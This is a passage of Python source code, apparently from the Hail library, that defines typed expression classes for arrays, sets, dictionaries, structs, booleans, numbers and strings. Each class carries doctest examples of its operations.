\"\"\"Positionally multiply by an array or a scalar.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(a2 * 5)\n [5, -5, 5, -5, 5, -5]\n\n >>> eval_expr(a1 * a2)\n [0, -1, 2, -3, 4, -5]\n\n Parameters\n ----------\n other : :class:`NumericExpression` or :class:`ArrayNumericExpression`\n Value or array to multiply by.\n\n Returns\n -------\n :class:`ArrayNumericExpression`\n Array of positional products.\n \"\"\"\n return self._bin_op_numeric(\"*\", other)\n\n def __rmul__(self, other):\n return self._bin_op_numeric_reverse(\"*\", other)\n\n def __div__(self, other):\n \"\"\"Positionally divide by an array or a scalar.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(a1 / 10)\n [0.0, 0.1, 0.2, 0.3, 0.4, 0.5]\n\n >>> eval_expr(a2 / a1)\n [inf, -1.0, 0.5, -0.3333333333333333, 0.25, -0.2]\n\n Parameters\n ----------\n other : :class:`NumericExpression` or :class:`ArrayNumericExpression`\n Value or array to divide by.\n\n Returns\n -------\n :class:`ArrayNumericExpression`\n Array of positional quotients.\n \"\"\"\n return self._bin_op(\"/\", other, TArray(TFloat64()))\n\n def __rdiv__(self, other):\n return self._bin_op_reverse(\"/\", other, TArray(TFloat64()))\n\n def __pow__(self, other):\n \"\"\"Positionally raise to the power of an array or a scalar.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(a1 ** 2)\n [0.0, 1.0, 4.0, 9.0, 16.0, 25.0]\n\n >>> eval_expr(a1 ** a2)\n [0.0, 1.0, 2.0, 0.3333333333333333, 4.0, 0.2]\n\n Parameters\n ----------\n other : :class:`NumericExpression` or :class:`ArrayNumericExpression`\n Value or array to exponentiate by.\n\n Returns\n -------\n :class:`ArrayNumericExpression`\n Array of positional exponentiations.\n \"\"\"\n return self._bin_op('**', other, TArray(TFloat64()))\n\n def __rpow__(self, other):\n return self._bin_op_reverse('**', other, TArray(TFloat64()))\n\n def sort(self, ascending=True):\n \"\"\"Returns a sorted array.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(a1.sort())\n [-1, -1, -1, 1, 1, 1]\n\n Parameters\n ----------\n ascending : bool or :py:class:`BooleanExpression`\n Sort in ascending order.\n\n Returns\n -------\n :py:class:`ArrayNumericExpression`\n Sorted array.\n \"\"\"\n return self._method(\"sort\", self._type, ascending)\n\n\nclass ArrayFloat64Expression(ArrayNumericExpression):\n \"\"\"Expression of type :class:`hail.expr.types.TArray` with element type :class:`hail.expr.types.TFloat64`.\"\"\"\n pass\n\n\nclass ArrayFloat32Expression(ArrayNumericExpression):\n \"\"\"Expression of type :class:`hail.expr.types.TArray` with element type :class:`hail.expr.types.TFloat32`.\"\"\"\n pass\n\n\nclass ArrayInt32Expression(ArrayNumericExpression):\n \"\"\"Expression of type :class:`hail.expr.types.TArray` with element type :class:`hail.expr.types.TInt32`\"\"\"\n pass\n\n\nclass ArrayInt64Expression(ArrayNumericExpression):\n \"\"\"Expression of type :class:`hail.expr.types.TArray` with element type :class:`hail.expr.types.TInt64`.\"\"\"\n pass\n\n\nclass ArrayStringExpression(ArrayExpression):\n \"\"\"Expression of type :class:`hail.expr.types.TArray` with element type :class:`hail.expr.types.TString`.\n\n >>> a = functions.capture(['Alice', 'Bob', 'Charles'])\n \"\"\"\n def mkstring(self, delimiter):\n \"\"\"Joins the elements of the array into a single string delimited by `delimiter`.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(a.mkstring(','))\n 'Alice,Bob,Charles'\n\n Parameters\n ----------\n delimiter : str or :py:class:`StringExpression`\n Field delimiter.\n\n Returns\n -------\n :py:class:`StringExpression`\n Joined string expression.\n \"\"\"\n return self._method(\"mkString\", TString(), delimiter)\n\n def sort(self, ascending=True):\n \"\"\"Returns a sorted array.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(a.sort(ascending=False))\n ['Charles', 'Bob', 'Alice']\n\n Parameters\n ----------\n ascending : bool or :py:class:`BooleanExpression`\n Sort in ascending order.\n\n Returns\n -------\n :py:class:`ArrayStringExpression`\n Sorted array.\n \"\"\"\n return self._method(\"sort\", self._type, ascending)\n\n\nclass ArrayStructExpression(ArrayExpression):\n \"\"\"Expression of type :class:`hail.expr.types.TArray` with element type :class:`hail.expr.types.TStruct`.\"\"\"\n pass\n\n\nclass ArrayArrayExpression(ArrayExpression):\n \"\"\"Expression of type :class:`hail.expr.types.TArray` with element type :class:`hail.expr.types.TArray`.\n\n >>> a = functions.capture([[1, 2], [3, 4]])\n \"\"\"\n def flatten(self):\n \"\"\"Flatten the nested array by concatenating subarrays.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(a.flatten())\n [1, 2, 3, 4]\n\n Returns\n -------\n :py:class:`ArrayExpression`\n Array generated by concatenating all subarrays.\n \"\"\"\n return self._method(\"flatten\", self._type.element_type)\n\n\nclass SetExpression(CollectionExpression):\n \"\"\"Expression of type :class:`hail.expr.types.TSet`.\n\n >>> s1 = functions.capture({1, 2, 3})\n >>> s2 = functions.capture({1, 3, 5})\n \"\"\"\n @typecheck_method(x=expr_any)\n def add(self, x):\n \"\"\"Returns a new set including `x`.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(s1.add(10))\n {1, 2, 3, 10}\n\n Parameters\n ----------\n x : :class:`.Expression`\n Value to add.\n\n Returns\n -------\n :class:`SetExpression`\n Set with `x` added.\n \"\"\"\n return self._method(\"add\", self._type, x)\n\n @typecheck_method(x=expr_any)\n def remove(self, x):\n \"\"\"Returns a new set excluding `x`.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(s1.remove(1))\n {2, 3}\n\n Parameters\n ----------\n x : :class:`.Expression`\n Value to remove.\n\n Returns\n -------\n :py:class:`SetExpression`\n Set with `x` removed.\n \"\"\"\n return self._method(\"remove\", self._type, x)\n\n @typecheck_method(x=expr_any)\n def contains(self, x):\n \"\"\"Returns ``True`` if `x` is in the set.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(s1.contains(1))\n True\n\n >>> eval_expr(s1.contains(10))\n False\n\n Parameters\n ----------\n x : :class:`.Expression`\n Value for inclusion test..\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if `x` is in the set.\n \"\"\"\n return self._method(\"contains\", TBoolean(), x)\n\n @typecheck_method(s=expr_set)\n def difference(self, s):\n \"\"\"Return the set of elements in the set that are not present in set `s`.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(s1.difference(s2))\n {2}\n\n >>> eval_expr(s2.difference(s1))\n {5}\n\n Parameters\n ----------\n s : :class:`SetExpression`\n Set expression of the same type.\n\n Returns\n -------\n :class:`SetExpression`\n Set of elements not in `s`.\n \"\"\"\n return self._method(\"difference\", self._type, s)\n\n @typecheck_method(s=expr_set)\n def intersection(self, s):\n \"\"\"Return the intersection of the set and set `s`.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(s1.intersection(s2))\n {1, 3}\n\n Parameters\n ----------\n s : :class:`SetExpression`\n Set expression of the same type.\n\n Returns\n -------\n :class:`SetExpression`\n Set of elements present in `s`.\n \"\"\"\n return self._method(\"intersection\", self._type, s)\n\n @typecheck_method(s=expr_set)\n def is_subset(self, s):\n \"\"\"Returns ``True`` if every element is contained in set `s`.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(s1.is_subset(s2))\n False\n\n >>> eval_expr(s1.remove(2).is_subset(s2))\n True\n\n Parameters\n ----------\n s : :class:`SetExpression`\n Set expression of the same type.\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if every element is contained in set `s`.\n \"\"\"\n return self._method(\"isSubset\", TBoolean(), s)\n\n @typecheck_method(s=expr_set)\n def union(self, s):\n \"\"\"Return the union of the set and set `s`.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(s1.union(s2))\n {1, 2, 3, 5}\n\n Parameters\n ----------\n s : :class:`SetExpression`\n Set expression of the same type.\n\n Returns\n -------\n :class:`SetExpression`\n Set of elements present in either set.\n \"\"\"\n return self._method(\"union\", self._type, s)\n\n def to_array(self):\n \"\"\"Convert the set to an array.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(s1.to_array())\n [1, 2, 3]\n\n Notes\n -----\n The order of elements in the array is not guaranteed.\n\n Returns\n -------\n :class:`ArrayExpression`\n Array of all elements in the set.\n \"\"\"\n return self._method(\"toArray\", TArray(self._type.element_type))\n\n\nclass SetFloat64Expression(SetExpression, CollectionNumericExpression):\n \"\"\"Expression of type :class:`hail.expr.types.TSet` with element type :class:`hail.expr.types.TFloat64`.\"\"\"\n pass\n\n\nclass SetFloat32Expression(SetExpression, CollectionNumericExpression):\n \"\"\"Expression of type :class:`hail.expr.types.TSet` with element type :class:`hail.expr.types.TFloat32`.\"\"\"\n pass\n\n\nclass SetInt32Expression(SetExpression, CollectionNumericExpression):\n \"\"\"Expression of type :class:`hail.expr.types.TSet` with element type :class:`hail.expr.types.TInt32`.\"\"\"\n pass\n\n\nclass SetInt64Expression(SetExpression, CollectionNumericExpression):\n \"\"\"Expression of type :class:`hail.expr.types.TSet` with element type :class:`hail.expr.types.TInt64`.\"\"\"\n pass\n\n\nclass SetStringExpression(SetExpression):\n \"\"\"Expression of type :class:`hail.expr.types.TSet` with element type :class:`hail.expr.types.TString`.\n\n >>> s = functions.capture({'Alice', 'Bob', 'Charles'})\n \"\"\"\n @typecheck_method(delimiter=expr_str)\n def mkstring(self, delimiter):\n \"\"\"Joins the elements of the set into a single string delimited by `delimiter`.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(s.mkstring(','))\n 'Bob,Charles,Alice'\n\n Notes\n -----\n The order of the elements in the string is not guaranteed.\n\n Parameters\n ----------\n delimiter : str or :py:class:`StringExpression`\n Field delimiter.\n\n Returns\n -------\n :py:class:`StringExpression`\n Joined string expression.\n \"\"\"\n return self._method(\"mkString\", TString(), delimiter)\n\n\nclass SetSetExpression(SetExpression):\n \"\"\"Expression of type :class:`hail.expr.types.TSet` with element type :class:`hail.expr.types.TSet`.\n\n >>> s = functions.capture({1, 2, 3}).map(lambda s: {s, 2 * s})\n \"\"\"\n def flatten(self):\n \"\"\"Flatten the nested set by concatenating subsets.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(s.flatten())\n {1, 2, 3, 4, 6}\n\n Returns\n -------\n :py:class:`SetExpression`\n Set generated by concatenating all subsets.\n \"\"\"\n return self._method(\"flatten\", self._type.element_type)\n\n\nclass DictExpression(Expression):\n \"\"\"Expression of type :class:`hail.expr.types.TDict`.\n\n >>> d = functions.capture({'Alice': 43, 'Bob': 33, 'Charles': 44})\n \"\"\"\n def _init(self):\n self._key_typ = self._type.key_type\n self._value_typ = self._type.value_type\n\n @typecheck_method(item=expr_any)\n def __getitem__(self, item):\n \"\"\"Get the value associated with key `item`.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(d['Alice'])\n 43\n\n Notes\n -----\n Raises an error if `item` is not a key of the dictionary. Use\n :meth:`DictExpression.get` to return missing instead of an error.\n\n Parameters\n ----------\n item : :class:`.Expression`\n Key expression.\n\n Returns\n -------\n :class:`.Expression`\n Value associated with key `item`.\n \"\"\"\n return self._index(self._value_typ, item)\n\n @typecheck_method(k=expr_any)\n def contains(self, k):\n \"\"\"Returns whether a given key is present in the dictionary.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(d.contains('Alice'))\n True\n\n >>> eval_expr(d.contains('Anne'))\n False\n\n Parameters\n ----------\n k : :class:`.Expression`\n Key to test for inclusion.\n\n Returns\n -------\n :py:class:`BooleanExpression`\n ``True`` if `k` is a key of the dictionary, ``False`` otherwise.\n \"\"\"\n return self._method(\"contains\", TBoolean(), k)\n\n @typecheck_method(k=expr_any)\n def get(self, k):\n \"\"\"Returns the value associated with key `k`, or missing if that key is not present.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(d.get('Alice'))\n 43\n\n >>> eval_expr(d.get('Anne'))\n None\n\n Parameters\n ----------\n k : :class:`.Expression`\n Key.\n\n Returns\n -------\n :py:class:`.Expression`\n The value associated with `k`, or missing.\n \"\"\"\n return self._method(\"get\", self._value_typ, k)\n\n def key_set(self):\n \"\"\"Returns the set of keys in the dictionary.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(d.key_set())\n {'Alice', 'Bob', 'Charles'}\n\n Returns\n -------\n :py:class:`SetExpression`\n Set of all keys.\n \"\"\"\n return self._method(\"keySet\", TSet(self._key_typ))\n\n def keys(self):\n \"\"\"Returns an array with all keys in the dictionary.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(d.keys())\n ['Bob', 'Charles', 'Alice']\n\n Returns\n -------\n :py:class:`ArrayExpression`\n Array of all keys.\n \"\"\"\n return self._method(\"keys\", TArray(self._key_typ))\n\n def map_values(self, f):\n \"\"\"Transform values of the dictionary according to a function.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(d.map_values(lambda x: x * 10))\n {'Alice': 430, 'Bob': 330, 'Charles': 440}\n\n Parameters\n ----------\n f : callable\n Function to apply to each value.\n\n Returns\n -------\n :py:class:`DictExpression`\n Dictionary with transformed values.\n \"\"\"\n return self._bin_lambda_method(\"mapValues\", f, self._value_typ, lambda t: TDict(self._key_typ, t))\n\n def size(self):\n \"\"\"Returns the size of the dictionary.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(d.size())\n 3\n\n Returns\n -------\n :py:class:`Int32Expression`\n Size of the dictionary.\n \"\"\"\n return self._method(\"size\", TInt32())\n\n def values(self):\n \"\"\"Returns an array with all values in the dictionary.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(d.values())\n [33, 44, 43]\n\n Returns\n -------\n :py:class:`ArrayExpression`\n All values in the dictionary.\n \"\"\"\n return self._method(\"values\", TArray(self._value_typ))\n\n\nclass Aggregable(object):\n \"\"\"Expression that can only be aggregated.\n\n An :class:`Aggregable` is produced by the :meth:`explode` or :meth:`filter`\n methods. These objects can be aggregated using aggregator functions, but\n cannot otherwise be used in expressions.\n \"\"\"\n def __init__(self, ast, type, indices, aggregations, joins, refs):\n self._ast = ast\n self._type = type\n self._indices = indices\n self._aggregations = aggregations\n self._joins = joins\n self._refs = refs\n\n def __nonzero__(self):\n raise NotImplementedError('Truth value of an aggregable collection is undefined')\n\n def __eq__(self, other):\n raise NotImplementedError('Comparison of aggregable collections is undefined')\n\n def __ne__(self, other):\n raise NotImplementedError('Comparison of aggregable collections is undefined')\n\n\nclass StructExpression(Mapping, Expression):\n \"\"\"Expression of type :class:`hail.expr.types.TStruct`.\n\n >>> s = functions.capture(Struct(a=5, b='Foo'))\n\n Struct fields are accessible as attributes and keys. It is therefore\n possible to access field `a` of struct `s` with dot syntax:\n\n .. doctest::\n\n >>> eval_expr(s.a)\n 5\n\n It is possible to have fields whose names violate Python identifier syntax.\n For these, use the :meth:`StructExpression.__getitem__` syntax.\n \"\"\"\n def _init(self):\n self._fields = OrderedDict()\n\n for fd in self._type.fields:\n expr = construct_expr(Select(self._ast, fd.name), fd.typ, self._indices,\n self._aggregations, self._joins, self._refs)\n self._set_field(fd.name, expr)\n\n def _set_field(self, key, value):\n self._fields[key] = value\n if key not in self.__dict__:\n self.__dict__[key] = value\n\n def __len__(self):\n return len(self._fields)\n\n @typecheck_method(item=strlike)\n def __getitem__(self, item):\n \"\"\"Access a field of the struct.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(s['a'])\n 5\n\n Parameters\n ----------\n item : :obj:`str`\n Field name.\n\n Returns\n -------\n :class:`.Expression`\n Struct field.\n \"\"\"\n if not item in self._fields:\n raise KeyError(\"Struct has no field '{}'\\n\"\n \" Fields: [ {} ]\".format(item, ', '.join(\"'{}'\".format(x) for x in self._fields)))\n return self._fields[item]\n\n def __iter__(self):\n return iter(self._fields)\n\n def __hash__(self):\n return object.__hash__(self)\n\n def __eq__(self, other):\n return Expression.__eq__(self, other)\n\n def __ne__(self, other):\n return Expression.__ne__(self, other)\n\n def __nonzero__(self):\n return Expression.__nonzero__(self)\n\nclass AtomicExpression(Expression):\n \"\"\"Abstract base class for numeric and logical types.\"\"\"\n\n def to_float64(self):\n \"\"\"Convert to a 64-bit floating point expression.\n\n Returns\n -------\n :py:class:`Float64Expression`\n \"\"\"\n return self._method(\"toFloat64\", TFloat64())\n\n def to_float32(self):\n \"\"\"Convert to a 32-bit floating point expression.\n\n Returns\n -------\n :py:class:`Float32Expression`\n \"\"\"\n return self._method(\"toFloat32\", TFloat32())\n\n def to_int64(self):\n \"\"\"Convert to a 64-bit integer expression.\n\n Returns\n -------\n :py:class:`Int64Expression`\n \"\"\"\n return self._method(\"toInt64\", TInt64())\n\n def to_int32(self):\n \"\"\"Convert to a 32-bit integer expression.\n\n Returns\n -------\n :py:class:`Int32Expression`\n \"\"\"\n return self._method(\"toInt32\", TInt32())\n\n\nclass BooleanExpression(AtomicExpression):\n \"\"\"Expression of type :class:`hail.expr.types.TBoolean`.\n\n >>> t = functions.capture(True)\n >>> f = functions.capture(False)\n >>> na = functions.null(TBoolean())\n\n .. doctest::\n\n >>> eval_expr(t)\n True\n\n >>> eval_expr(f)\n False\n\n >>> eval_expr(na)\n None\n\n \"\"\"\n\n def _bin_op_logical(self, name, other):\n other = to_expr(other)\n return self._bin_op(name, other, TBoolean())\n\n @typecheck_method(other=expr_bool)\n def __and__(self, other):\n \"\"\"Return ``True`` if the left and right arguments are ``True``.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(t & f)\n False\n\n >>> eval_expr(t & na)\n None\n\n >>> eval_expr(f & na)\n False\n\n The ``&`` and ``|`` operators have higher priority than comparison\n operators like ``==``, ``<``, or ``>``. Parentheses are often\n necessary:\n\n .. doctest::\n\n >>> x = functions.capture(5)\n\n >>> eval_expr((x < 10) & (x > 2))\n True\n\n Parameters\n ----------\n other : :class:`BooleanExpression`\n Right-side operation.\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if both left and right are ``True``.\n \"\"\"\n return self._bin_op_logical(\"&&\", other)\n\n def __or__(self, other):\n \"\"\"Return ``True`` if at least one of the left and right arguments is ``True``.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(t | f)\n True\n\n >>> eval_expr(t | na)\n True\n\n >>> eval_expr(f | na)\n None\n\n The ``&`` and ``|`` operators have higher priority than comparison\n operators like ``==``, ``<``, or ``>``. Parentheses are often\n necessary:\n\n .. doctest::\n\n >>> x = functions.capture(5)\n\n >>> eval_expr((x < 10) | (x > 20))\n True\n\n Parameters\n ----------\n other : :class:`BooleanExpression`\n Right-side operation.\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if either left or right is ``True``.\n \"\"\"\n return self._bin_op_logical(\"||\", other)\n\n def __invert__(self):\n \"\"\"Return the boolean inverse.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(~t)\n False\n\n >>> eval_expr(~f)\n True\n\n >>> eval_expr(~na)\n None\n\n Returns\n -------\n :class:`BooleanExpression`\n Boolean inverse.\n \"\"\"\n return self._unary_op(\"!\")\n\n\nclass NumericExpression(AtomicExpression):\n \"\"\"Expression of numeric type.\n\n >>> x = functions.capture(3)\n\n >>> y = functions.capture(4.5)\n \"\"\"\n def _bin_op_ret_typ(self, other):\n if isinstance(self, NumericExpression) and isinstance(other, float):\n return TFloat64()\n elif isinstance(self, Float64Expression) and isinstance(other, NumericExpression):\n return TFloat64()\n elif isinstance(self, NumericExpression) and isinstance(other, Float64Expression):\n return TFloat64()\n elif isinstance(self, Float32Expression) and isinstance(other, NumericExpression):\n return TFloat32()\n elif isinstance(self, NumericExpression) and isinstance(other, Float32Expression):\n return TFloat32()\n elif isinstance(self, Int64Expression) and (\n isinstance(other, NumericExpression) or isinstance(other, int) or isinstance(other, long)):\n return TInt64()\n elif isinstance(self, NumericExpression) and isinstance(other, Int64Expression):\n return TInt64()\n elif isinstance(self, Int32Expression) and (isinstance(other, NumericExpression) or isinstance(other, int)):\n return TInt32()\n elif isinstance(self, NumericExpression) or isinstance(other, Int32Expression):\n return TInt32()\n else:\n raise NotImplementedError(\"Error in return type for numeric conversion.\",\n \"\\nself =\", type(self),\n \"\\nother =\", type(other))\n\n def _bin_op_numeric(self, name, other):\n ret_typ = self._bin_op_ret_typ(other)\n return self._bin_op(name, other, ret_typ)\n\n def _bin_op_numeric_reverse(self, name, other):\n ret_typ = self._bin_op_ret_typ(other)\n return self._bin_op_reverse(name, other, ret_typ)\n\n @typecheck_method(other=expr_numeric)\n def __lt__(self, other):\n \"\"\"Less-than comparison.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(x < 5)\n True\n\n Parameters\n ----------\n other : :class:`NumericExpression`\n Right side for comparison.\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the left side is smaller than the right side.\n \"\"\"\n return self._bin_op(\"<\", other, TBoolean())\n\n @typecheck_method(other=expr_numeric)\n def __le__(self, other):\n \"\"\"Less-than-or-equals comparison.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(x <= 3)\n True\n\n Parameters\n ----------\n other : :class:`NumericExpression`\n Right side for comparison.\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the left side is smaller than or equal to the right side.\n \"\"\"\n return self._bin_op(\"<=\", other, TBoolean())\n\n @typecheck_method(other=expr_numeric)\n def __gt__(self, other):\n \"\"\"Greater-than comparison.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(y > 4)\n True\n\n Parameters\n ----------\n other : :class:`NumericExpression`\n Right side for comparison.\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the left side is greater than the right side.\n \"\"\"\n return self._bin_op(\">\", other, TBoolean())\n\n @typecheck_method(other=expr_numeric)\n def __ge__(self, other):\n \"\"\"Greater-than-or-equals comparison.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(y >= 4)\n True\n\n Parameters\n ----------\n other : :class:`NumericExpression`\n Right side for comparison.\n\n Returns\n -------\n :class:`BooleanExpression`\n ``True`` if the left side is greater than or equal to the right side.\n \"\"\"\n return self._bin_op(\">=\", other, TBoolean())\n\n\n def __pos__(self):\n return self\n\n def __neg__(self):\n \"\"\"Negate the number (multiply by -1).\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(-x)\n -3\n\n Returns\n -------\n :class:`NumericExpression`\n Negated number.\n \"\"\"\n return self._unary_op(\"-\")\n\n def __add__(self, other):\n \"\"\"Add two numbers.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(x + 2)\n 5\n\n >>> eval_expr(x + y)\n 7.5\n\n Parameters\n ----------\n other : :class:`NumericExpression`\n Number to add.\n\n Returns\n -------\n :class:`NumericExpression`\n Sum of the two numbers.\n \"\"\"\n return self._bin_op_numeric(\"+\", other)\n\n def __radd__(self, other):\n return self._bin_op_numeric_reverse(\"+\", other)\n\n def __sub__(self, other):\n \"\"\"Subtract the right number from the left.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(x - 2)\n 1\n\n >>> eval_expr(x - y)\n -1.5\n\n Parameters\n ----------\n other : :class:`NumericExpression`\n Number to subtract.\n\n Returns\n -------\n :class:`NumericExpression`\n Difference of the two numbers.\n \"\"\"\n return self._bin_op_numeric(\"-\", other)\n\n def __rsub__(self, other):\n return self._bin_op_numeric_reverse(\"-\", other)\n\n def __mul__(self, other):\n \"\"\"Multiply two numbers.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(x * 2)\n 6\n\n >>> eval_expr(x * y)\n 9.0\n\n Parameters\n ----------\n other : :class:`NumericExpression`\n Number to multiply.\n\n Returns\n -------\n :class:`NumericExpression`\n Product of the two numbers.\n \"\"\"\n return self._bin_op_numeric(\"*\", other)\n\n def __rmul__(self, other):\n return self._bin_op_numeric_reverse(\"*\", other)\n\n def __div__(self, other):\n \"\"\"Divide two numbers.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(x / 2)\n 1.5\n\n >>> eval_expr(y / 0.1)\n 45.0\n\n Parameters\n ----------\n other : :class:`NumericExpression`\n Dividend.\n\n Returns\n -------\n :class:`NumericExpression`\n The left number divided by the left.\n \"\"\"\n return self._bin_op_numeric(\"/\", other)\n\n def __rdiv__(self, other):\n return self._bin_op_numeric_reverse(\"/\", other)\n\n def __mod__(self, other):\n \"\"\"Compute the left modulo the right number.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(32 % x)\n 2\n\n >>> eval_expr(7 % y)\n 2.5\n\n Parameters\n ----------\n other : :class:`NumericExpression`\n Dividend.\n\n Returns\n -------\n :class:`NumericExpression`\n Remainder after dividing the left by the right.\n \"\"\"\n return self._bin_op_numeric('%', other)\n\n def __rmod__(self, other):\n return self._bin_op_numeric_reverse('%', other)\n\n def __pow__(self, power, modulo=None):\n \"\"\"Raise the left to the right power.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(x ** 2)\n 9.0\n\n >>> eval_expr(x ** -2)\n 0.1111111111111111\n\n >>> eval_expr(y ** 1.5)\n 9.545941546018392\n\n Parameters\n ----------\n power : :class:`NumericExpression`\n modulo\n Unsupported argument.\n\n Returns\n -------\n :class:`Float64Expression`\n Result of raising left to the right power.\n \"\"\"\n return self._bin_op('**', power, TFloat64())\n\n def __rpow__(self, other):\n return self._bin_op_reverse('**', other, TFloat64())\n\n def signum(self):\n \"\"\"Returns the sign of the callee, ``1`` or ``-1``.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(y.signum())\n 1\n\n Returns\n -------\n :py:class:`Int32Expression`\n ``1`` or ``-1``.\n \"\"\"\n return self._method(\"signum\", TInt32())\n\n def abs(self):\n \"\"\"Returns the absolute value of the callee.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(y.abs())\n 4.5\n\n Returns\n -------\n :py:class:`.NumericExpression`\n Absolute value of the number.\n \"\"\"\n return self._method(\"abs\", self._type)\n\n @typecheck_method(other=expr_numeric)\n def max(self, other):\n \"\"\"Returns the maximum value between the callee and `other`.\n\n Parameters\n ----------\n other : :py:class:`NumericExpression`\n Value to compare against.\n\n Returns\n -------\n :py:class:`.NumericExpression`\n Maximum value.\n \"\"\"\n assert (isinstance(other, self.__class__))\n return self._method(\"max\", self._type, other)\n\n @typecheck_method(other=expr_numeric)\n def min(self, other):\n \"\"\"Returns the minumum value between the callee and `other`.\n\n Parameters\n ----------\n other : :py:class:`NumericExpression`\n Value to compare against.\n\n Returns\n -------\n :py:class:`.NumericExpression`\n Minimum value.\n \"\"\"\n assert (isinstance(other, self.__class__))\n return self._method(\"min\", self._type, other)\n\n\nclass Float64Expression(NumericExpression):\n \"\"\"Expression of type :class:`hail.expr.types.TFloat64`.\"\"\"\n pass\n\n\nclass Float32Expression(NumericExpression):\n \"\"\"Expression of type :class:`hail.expr.types.TFloat32`.\"\"\"\n pass\n\n\nclass Int32Expression(NumericExpression):\n \"\"\"Expression of type :class:`hail.expr.types.TInt32`.\"\"\"\n pass\n\n\nclass Int64Expression(NumericExpression):\n \"\"\"Expression of type :class:`hail.expr.types.TInt64`.\"\"\"\n pass\n\n\nclass StringExpression(AtomicExpression):\n \"\"\"Expression of type :class:`hail.expr.types.TString`.\n\n >>> s = functions.capture('The quick brown fox')\n \"\"\"\n @typecheck_method(item=oneof(slice, expr_int32))\n def __getitem__(self, item):\n \"\"\"Slice or index into the string.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(s[:15])\n 'The quick brown'\n\n >>> eval_expr(s[0])\n 'T'\n\n Parameters\n ----------\n item : slice or :class:`Int32Expression`\n Slice or character index.\n\n Returns\n -------\n :class:`StringExpression`\n Substring or character at index `item`.\n \"\"\"\n if isinstance(item, slice):\n return self._slice(TString(), item.start, item.stop, item.step)\n elif isinstance(item, int) or isinstance(item, Int32Expression):\n return self._index(TString(), item)\n else:\n raise NotImplementedError()\n\n def __add__(self, other):\n \"\"\"Concatenate strings.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(s + ' jumped over the lazy dog')\n 'The quick brown fox jumped over the lazy dog'\n\n Parameters\n ----------\n other : :class:`StringExpression`\n String to concatenate.\n\n Returns\n -------\n :class:`StringExpression`\n Concatenated string.\n \"\"\"\n other = to_expr(other)\n if not isinstance(other, StringExpression):\n raise TypeError(\"cannot concatenate 'TString' expression and '{}'\".format(other._type.__class__))\n return self._bin_op(\"+\", other, TString())\n\n def __radd__(self, other):\n assert (isinstance(other, StringExpression) or isinstance(other, str))\n return self._bin_op_reverse(\"+\", other, TString())\n\n def length(self):\n \"\"\"Returns the length of the string.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(s.length())\n 19\n\n Returns\n -------\n :class:`Int32Expression`\n Length of the string.\n \"\"\"\n return self._method(\"length\", TInt32())\n\n @typecheck_method(pattern1=expr_str, pattern2=expr_str)\n def replace(self, pattern1, pattern2):\n \"\"\"Replace substrings matching `pattern1` with `pattern2` using regex.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(s.replace(' ', '_'))\n 'The_quick_brown_fox'\n\n Notes\n -----\n The regex expressions used should follow\n `Java regex syntax `_\n\n Parameters\n ----------\n pattern1 : str or :class:`StringExpression`\n pattern2 : str or :class:`StringExpression`\n\n Returns\n -------\n\n \"\"\"\n return self._method(\"replace\", TString(), pattern1, pattern2)\n\n @typecheck_method(delim=expr_str, n=nullable(expr_int32))\n def split(self, delim, n=None):\n \"\"\"Returns an array of strings generated by splitting the string at `delim`.\n\n Examples\n --------\n .. doctest::\n\n >>> eval_expr(s.split('\\\\s+'))\n ['The', 'quick', 'brown', 'fox']\n\n >>> eval_expr(s.split('\\\\s+', 2))\n ['The', 'quick brown fox']\n\n Notes\n -----\n The delimiter is a regex using the\n `Java regex syntax `_\n delimiter. To split on special characters, escape them with double\n backslash 